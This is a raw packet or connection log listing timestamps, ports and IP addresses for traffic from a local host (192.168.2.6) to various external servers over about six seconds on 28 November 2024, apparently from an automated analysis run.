Nov 28, 2024 02:27:34.733422041 CET	49809	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:34.733433962 CET	443	49809	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:34.738315105 CET	49810	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:34.738331079 CET	443	49810	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:34.878457069 CET	49812	443	192.168.2.6	94.245.104.56
Nov 28, 2024 02:27:34.878503084 CET	443	49812	94.245.104.56	192.168.2.6
Nov 28, 2024 02:27:34.878592014 CET	49812	443	192.168.2.6	94.245.104.56
Nov 28, 2024 02:27:34.881544113 CET	49812	443	192.168.2.6	94.245.104.56
Nov 28, 2024 02:27:34.881572008 CET	443	49812	94.245.104.56	192.168.2.6
Nov 28, 2024 02:27:35.089569092 CET	443	49712	20.231.128.67	192.168.2.6
Nov 28, 2024 02:27:35.089695930 CET	443	49712	20.231.128.67	192.168.2.6
Nov 28, 2024 02:27:35.089759111 CET	49712	443	192.168.2.6	20.231.128.67
Nov 28, 2024 02:27:35.093822002 CET	443	49712	20.231.128.67	192.168.2.6
Nov 28, 2024 02:27:35.095422983 CET	443	49712	20.231.128.67	192.168.2.6
Nov 28, 2024 02:27:35.095529079 CET	49712	443	192.168.2.6	20.231.128.67
Nov 28, 2024 02:27:35.095551968 CET	443	49712	20.231.128.67	192.168.2.6
Nov 28, 2024 02:27:35.104198933 CET	443	49712	20.231.128.67	192.168.2.6
Nov 28, 2024 02:27:35.104361057 CET	49712	443	192.168.2.6	20.231.128.67
Nov 28, 2024 02:27:35.104393959 CET	443	49712	20.231.128.67	192.168.2.6
Nov 28, 2024 02:27:35.112968922 CET	443	49712	20.231.128.67	192.168.2.6
Nov 28, 2024 02:27:35.113054037 CET	49712	443	192.168.2.6	20.231.128.67
Nov 28, 2024 02:27:35.113085985 CET	443	49712	20.231.128.67	192.168.2.6
Nov 28, 2024 02:27:35.121591091 CET	443	49712	20.231.128.67	192.168.2.6
Nov 28, 2024 02:27:35.121643066 CET	49712	443	192.168.2.6	20.231.128.67
Nov 28, 2024 02:27:35.841712952 CET	80	49788	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:35.845252991 CET	49788	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:36.011851072 CET	443	49801	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:36.012937069 CET	49801	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:36.012968063 CET	443	49801	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:36.013715982 CET	49801	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:36.013725042 CET	443	49801	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:36.466382027 CET	443	49810	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:36.475703955 CET	443	49801	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:36.475799084 CET	443	49801	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:36.475847006 CET	49801	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:36.493685961 CET	49810	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:36.493710995 CET	443	49810	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:36.494697094 CET	49810	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:36.494705915 CET	443	49810	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:36.495065928 CET	49801	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:36.495083094 CET	443	49801	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:36.495094061 CET	49801	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:36.495099068 CET	443	49801	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:36.525930882 CET	443	49811	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:36.525995016 CET	443	49808	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:36.582412004 CET	49811	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:36.582436085 CET	443	49811	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:36.583224058 CET	49811	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:36.583229065 CET	443	49811	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:36.587487936 CET	49808	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:36.587511063 CET	443	49808	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:36.588222980 CET	49808	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:36.588227987 CET	443	49808	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:36.701430082 CET	443	49812	94.245.104.56	192.168.2.6
Nov 28, 2024 02:27:36.735107899 CET	49814	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:36.735163927 CET	443	49814	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:36.735236883 CET	49814	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:36.762155056 CET	49812	443	192.168.2.6	94.245.104.56
Nov 28, 2024 02:27:36.788757086 CET	49812	443	192.168.2.6	94.245.104.56
Nov 28, 2024 02:27:36.788772106 CET	443	49812	94.245.104.56	192.168.2.6
Nov 28, 2024 02:27:36.789884090 CET	443	49812	94.245.104.56	192.168.2.6
Nov 28, 2024 02:27:36.789897919 CET	443	49812	94.245.104.56	192.168.2.6
Nov 28, 2024 02:27:36.789948940 CET	49812	443	192.168.2.6	94.245.104.56
Nov 28, 2024 02:27:36.810741901 CET	49812	443	192.168.2.6	94.245.104.56
Nov 28, 2024 02:27:36.810820103 CET	443	49812	94.245.104.56	192.168.2.6
Nov 28, 2024 02:27:36.811186075 CET	49812	443	192.168.2.6	94.245.104.56
Nov 28, 2024 02:27:36.811194897 CET	443	49812	94.245.104.56	192.168.2.6
Nov 28, 2024 02:27:36.824006081 CET	49814	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:36.824023962 CET	443	49814	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:36.909918070 CET	443	49810	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:36.909981966 CET	443	49810	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:36.910059929 CET	49810	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:36.927787066 CET	49812	443	192.168.2.6	94.245.104.56
Nov 28, 2024 02:27:36.950071096 CET	49810	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:36.950107098 CET	443	49810	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:36.950124979 CET	49810	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:36.950131893 CET	443	49810	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:36.978473902 CET	443	49808	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:36.978544950 CET	443	49808	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:36.978594065 CET	49808	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:36.979317904 CET	443	49811	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:36.979383945 CET	443	49811	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:36.979434967 CET	49811	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:37.015072107 CET	49808	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:37.015091896 CET	443	49808	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:37.015111923 CET	49808	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:37.015117884 CET	443	49808	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:37.015377998 CET	49811	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:37.015389919 CET	443	49811	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:37.015400887 CET	49811	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:37.015405893 CET	443	49811	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:37.061362982 CET	49820	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:37.061372995 CET	443	49820	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:37.061444044 CET	49820	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:37.090676069 CET	49821	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:37.090703011 CET	443	49821	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:37.090838909 CET	49821	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:37.106239080 CET	49820	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:37.106271029 CET	443	49820	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:37.142996073 CET	49821	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:37.143028021 CET	443	49821	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:37.145581007 CET	49822	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:37.145615101 CET	443	49822	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:37.145792961 CET	49822	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:37.145905972 CET	49822	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:37.145917892 CET	443	49822	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:37.148859978 CET	49788	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:37.149379969 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:37.224241018 CET	443	49812	94.245.104.56	192.168.2.6
Nov 28, 2024 02:27:37.224309921 CET	443	49812	94.245.104.56	192.168.2.6
Nov 28, 2024 02:27:37.224384069 CET	49812	443	192.168.2.6	94.245.104.56
Nov 28, 2024 02:27:37.225543022 CET	49812	443	192.168.2.6	94.245.104.56
Nov 28, 2024 02:27:37.225552082 CET	443	49812	94.245.104.56	192.168.2.6
Nov 28, 2024 02:27:37.272654057 CET	80	49788	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:37.273055077 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:37.273143053 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:37.273688078 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:37.273782015 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:37.398680925 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:37.398694038 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:37.398704052 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:37.398715973 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:37.479197025 CET	49825	443	192.168.2.6	142.250.181.65
Nov 28, 2024 02:27:37.479242086 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:37.479398966 CET	49825	443	192.168.2.6	142.250.181.65
Nov 28, 2024 02:27:37.479511976 CET	49825	443	192.168.2.6	142.250.181.65
Nov 28, 2024 02:27:37.479518890 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:37.543401957 CET	443	49809	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:37.556726933 CET	49809	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:37.556759119 CET	443	49809	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:37.557288885 CET	49809	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:37.557295084 CET	443	49809	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:37.996193886 CET	443	49809	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:37.996268034 CET	443	49809	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:37.996382952 CET	49809	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:37.996644974 CET	49809	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:37.996654034 CET	443	49809	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:37.996670008 CET	49809	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:37.996674061 CET	443	49809	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:37.999928951 CET	49830	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:37.999943972 CET	443	49830	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:38.000087023 CET	49830	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:38.000272036 CET	49830	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:38.000282049 CET	443	49830	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:38.557760954 CET	443	49814	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:38.666018009 CET	49814	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:38.858680964 CET	49814	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:38.858702898 CET	443	49814	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:38.859194040 CET	49814	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:38.859200001 CET	443	49814	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:38.934736013 CET	443	49821	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:38.937190056 CET	49821	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:38.937223911 CET	443	49821	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:38.937788010 CET	49821	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:38.937799931 CET	443	49821	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:38.963593960 CET	443	49820	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:38.964066982 CET	49820	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:38.964088917 CET	443	49820	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:38.964613914 CET	49820	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:38.964618921 CET	443	49820	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:39.053591967 CET	443	49822	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:39.054687023 CET	49822	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:39.054712057 CET	443	49822	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:39.055506945 CET	49822	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:39.055516958 CET	443	49822	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:39.168842077 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:39.168903112 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:39.178534031 CET	443	49814	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:39.178606987 CET	443	49814	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:39.178661108 CET	49814	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:39.183454037 CET	49814	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:39.183474064 CET	443	49814	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:39.183491945 CET	49814	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:39.183497906 CET	443	49814	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:39.211673021 CET	49836	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:39.211716890 CET	443	49836	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:39.211802959 CET	49836	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:39.211975098 CET	49836	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:39.212001085 CET	443	49836	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:39.298316956 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:39.362035036 CET	49837	443	192.168.2.6	172.64.41.3
Nov 28, 2024 02:27:39.362101078 CET	443	49837	172.64.41.3	192.168.2.6
Nov 28, 2024 02:27:39.362169027 CET	49837	443	192.168.2.6	172.64.41.3
Nov 28, 2024 02:27:39.366251945 CET	49837	443	192.168.2.6	172.64.41.3
Nov 28, 2024 02:27:39.366274118 CET	443	49837	172.64.41.3	192.168.2.6
Nov 28, 2024 02:27:39.367142916 CET	49838	443	192.168.2.6	172.64.41.3
Nov 28, 2024 02:27:39.367192030 CET	443	49838	172.64.41.3	192.168.2.6
Nov 28, 2024 02:27:39.367244959 CET	49838	443	192.168.2.6	172.64.41.3
Nov 28, 2024 02:27:39.369045973 CET	49838	443	192.168.2.6	172.64.41.3
Nov 28, 2024 02:27:39.369062901 CET	443	49838	172.64.41.3	192.168.2.6
Nov 28, 2024 02:27:39.371906996 CET	49839	443	192.168.2.6	162.159.61.3
Nov 28, 2024 02:27:39.371941090 CET	443	49839	162.159.61.3	192.168.2.6
Nov 28, 2024 02:27:39.371990919 CET	49839	443	192.168.2.6	162.159.61.3
Nov 28, 2024 02:27:39.373176098 CET	49839	443	192.168.2.6	162.159.61.3
Nov 28, 2024 02:27:39.373193026 CET	443	49839	162.159.61.3	192.168.2.6
Nov 28, 2024 02:27:39.405982971 CET	443	49821	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:39.406058073 CET	443	49821	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:39.406111956 CET	49821	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:39.422564983 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:39.424159050 CET	443	49820	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:39.424232006 CET	443	49820	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:39.424305916 CET	49820	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:39.430623055 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:39.431272984 CET	49825	443	192.168.2.6	142.250.181.65
Nov 28, 2024 02:27:39.431289911 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:39.431765079 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:39.431778908 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:39.431818008 CET	49825	443	192.168.2.6	142.250.181.65
Nov 28, 2024 02:27:39.431827068 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:39.431878090 CET	49825	443	192.168.2.6	142.250.181.65
Nov 28, 2024 02:27:39.432492971 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:39.437906027 CET	49825	443	192.168.2.6	142.250.181.65
Nov 28, 2024 02:27:39.437989950 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:39.438147068 CET	49825	443	192.168.2.6	142.250.181.65
Nov 28, 2024 02:27:39.438159943 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:39.440299034 CET	49821	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:39.440325975 CET	443	49821	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:39.440368891 CET	49821	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:39.440376043 CET	443	49821	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:39.483071089 CET	49820	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:39.483103037 CET	443	49820	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:39.483114004 CET	49820	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:39.483122110 CET	443	49820	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:39.514631033 CET	443	49822	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:39.514691114 CET	443	49822	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:39.514767885 CET	49822	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:39.517534018 CET	49825	443	192.168.2.6	142.250.181.65
Nov 28, 2024 02:27:39.537863970 CET	49822	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:39.537863970 CET	49822	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:39.537877083 CET	443	49822	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:39.537885904 CET	443	49822	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:39.561557055 CET	49840	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:39.561583996 CET	443	49840	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:39.561671972 CET	49840	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:39.562316895 CET	49841	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:39.562347889 CET	443	49841	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:39.562410116 CET	49841	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:39.574589014 CET	49840	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:39.574604034 CET	443	49840	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:39.575181961 CET	49841	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:39.575196981 CET	443	49841	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:39.592792988 CET	49842	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:39.592807055 CET	443	49842	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:39.592869043 CET	49842	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:39.593198061 CET	49842	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:39.593209028 CET	443	49842	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:39.744926929 CET	443	49830	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:39.757042885 CET	49830	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:39.757072926 CET	443	49830	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:39.757733107 CET	49830	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:39.757738113 CET	443	49830	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:39.874314070 CET	49852	443	192.168.2.6	18.165.220.110
Nov 28, 2024 02:27:39.874330997 CET	443	49852	18.165.220.110	192.168.2.6
Nov 28, 2024 02:27:39.874401093 CET	49852	443	192.168.2.6	18.165.220.110
Nov 28, 2024 02:27:39.874773979 CET	49852	443	192.168.2.6	18.165.220.110
Nov 28, 2024 02:27:39.874788046 CET	443	49852	18.165.220.110	192.168.2.6
Nov 28, 2024 02:27:39.884190083 CET	49837	443	192.168.2.6	172.64.41.3
Nov 28, 2024 02:27:39.885190010 CET	49854	443	192.168.2.6	172.64.41.3
Nov 28, 2024 02:27:39.885221004 CET	443	49854	172.64.41.3	192.168.2.6
Nov 28, 2024 02:27:39.885286093 CET	49854	443	192.168.2.6	172.64.41.3
Nov 28, 2024 02:27:39.886857986 CET	49838	443	192.168.2.6	172.64.41.3
Nov 28, 2024 02:27:39.887011051 CET	49852	443	192.168.2.6	18.165.220.110
Nov 28, 2024 02:27:39.888412952 CET	49862	443	192.168.2.6	172.64.41.3
Nov 28, 2024 02:27:39.888427019 CET	443	49862	172.64.41.3	192.168.2.6
Nov 28, 2024 02:27:39.888789892 CET	49839	443	192.168.2.6	162.159.61.3
Nov 28, 2024 02:27:39.888818026 CET	49862	443	192.168.2.6	172.64.41.3
Nov 28, 2024 02:27:39.889105082 CET	49864	443	192.168.2.6	162.159.61.3
Nov 28, 2024 02:27:39.889122963 CET	443	49864	162.159.61.3	192.168.2.6
Nov 28, 2024 02:27:39.889170885 CET	49864	443	192.168.2.6	162.159.61.3
Nov 28, 2024 02:27:39.889461994 CET	49854	443	192.168.2.6	172.64.41.3
Nov 28, 2024 02:27:39.889478922 CET	443	49854	172.64.41.3	192.168.2.6
Nov 28, 2024 02:27:39.890048027 CET	49862	443	192.168.2.6	172.64.41.3
Nov 28, 2024 02:27:39.890057087 CET	443	49862	172.64.41.3	192.168.2.6
Nov 28, 2024 02:27:39.890221119 CET	49864	443	192.168.2.6	162.159.61.3
Nov 28, 2024 02:27:39.890238047 CET	443	49864	162.159.61.3	192.168.2.6
Nov 28, 2024 02:27:39.927330971 CET	443	49838	172.64.41.3	192.168.2.6
Nov 28, 2024 02:27:39.927371025 CET	443	49837	172.64.41.3	192.168.2.6
Nov 28, 2024 02:27:39.931323051 CET	443	49852	18.165.220.110	192.168.2.6
Nov 28, 2024 02:27:39.931343079 CET	443	49839	162.159.61.3	192.168.2.6
Nov 28, 2024 02:27:40.131603956 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:40.131706953 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:40.132273912 CET	49825	443	192.168.2.6	142.250.181.65
Nov 28, 2024 02:27:40.132291079 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:40.147186041 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:40.147430897 CET	49825	443	192.168.2.6	142.250.181.65
Nov 28, 2024 02:27:40.147443056 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:40.148173094 CET	49866	443	192.168.2.6	172.64.41.3
Nov 28, 2024 02:27:40.148196936 CET	443	49866	172.64.41.3	192.168.2.6
Nov 28, 2024 02:27:40.148261070 CET	49866	443	192.168.2.6	172.64.41.3
Nov 28, 2024 02:27:40.149815083 CET	49866	443	192.168.2.6	172.64.41.3
Nov 28, 2024 02:27:40.149832010 CET	443	49866	172.64.41.3	192.168.2.6
Nov 28, 2024 02:27:40.157049894 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:40.157411098 CET	49825	443	192.168.2.6	142.250.181.65
Nov 28, 2024 02:27:40.157421112 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:40.167347908 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:40.167618036 CET	49825	443	192.168.2.6	142.250.181.65
Nov 28, 2024 02:27:40.167625904 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:40.176177979 CET	49867	443	192.168.2.6	162.159.61.3
Nov 28, 2024 02:27:40.176223993 CET	443	49867	162.159.61.3	192.168.2.6
Nov 28, 2024 02:27:40.176409006 CET	49867	443	192.168.2.6	162.159.61.3
Nov 28, 2024 02:27:40.176817894 CET	49867	443	192.168.2.6	162.159.61.3
Nov 28, 2024 02:27:40.176829100 CET	443	49867	162.159.61.3	192.168.2.6
Nov 28, 2024 02:27:40.181055069 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:40.181615114 CET	49825	443	192.168.2.6	142.250.181.65
Nov 28, 2024 02:27:40.181627989 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:40.187053919 CET	443	49830	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:40.187112093 CET	443	49830	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:40.187213898 CET	49830	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:40.187429905 CET	49830	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:40.187429905 CET	49830	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:40.187441111 CET	443	49830	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:40.187449932 CET	443	49830	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:40.190679073 CET	49868	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:40.190710068 CET	443	49868	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:40.191155910 CET	49868	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:40.191685915 CET	49868	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:40.191716909 CET	443	49868	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:40.217540026 CET	49869	443	192.168.2.6	172.64.41.3
Nov 28, 2024 02:27:40.217559099 CET	443	49869	172.64.41.3	192.168.2.6
Nov 28, 2024 02:27:40.217736959 CET	49869	443	192.168.2.6	172.64.41.3
Nov 28, 2024 02:27:40.219120979 CET	49869	443	192.168.2.6	172.64.41.3
Nov 28, 2024 02:27:40.219129086 CET	443	49869	172.64.41.3	192.168.2.6
Nov 28, 2024 02:27:40.227051020 CET	49825	443	192.168.2.6	142.250.181.65
Nov 28, 2024 02:27:40.227066994 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:40.249499083 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:40.249641895 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:40.253479958 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:40.253551006 CET	49825	443	192.168.2.6	142.250.181.65
Nov 28, 2024 02:27:40.253566027 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:40.257723093 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:40.257775068 CET	49825	443	192.168.2.6	142.250.181.65
Nov 28, 2024 02:27:40.257788897 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:40.330362082 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:40.330487013 CET	49825	443	192.168.2.6	142.250.181.65
Nov 28, 2024 02:27:40.330503941 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:40.333945036 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:40.334039927 CET	49825	443	192.168.2.6	142.250.181.65
Nov 28, 2024 02:27:40.334053040 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:40.343404055 CET	443	49825	142.250.181.65	192.168.2.6
Nov 28, 2024 02:27:40.343642950 CET	49825	443	192.168.2.6	142.250.181.65
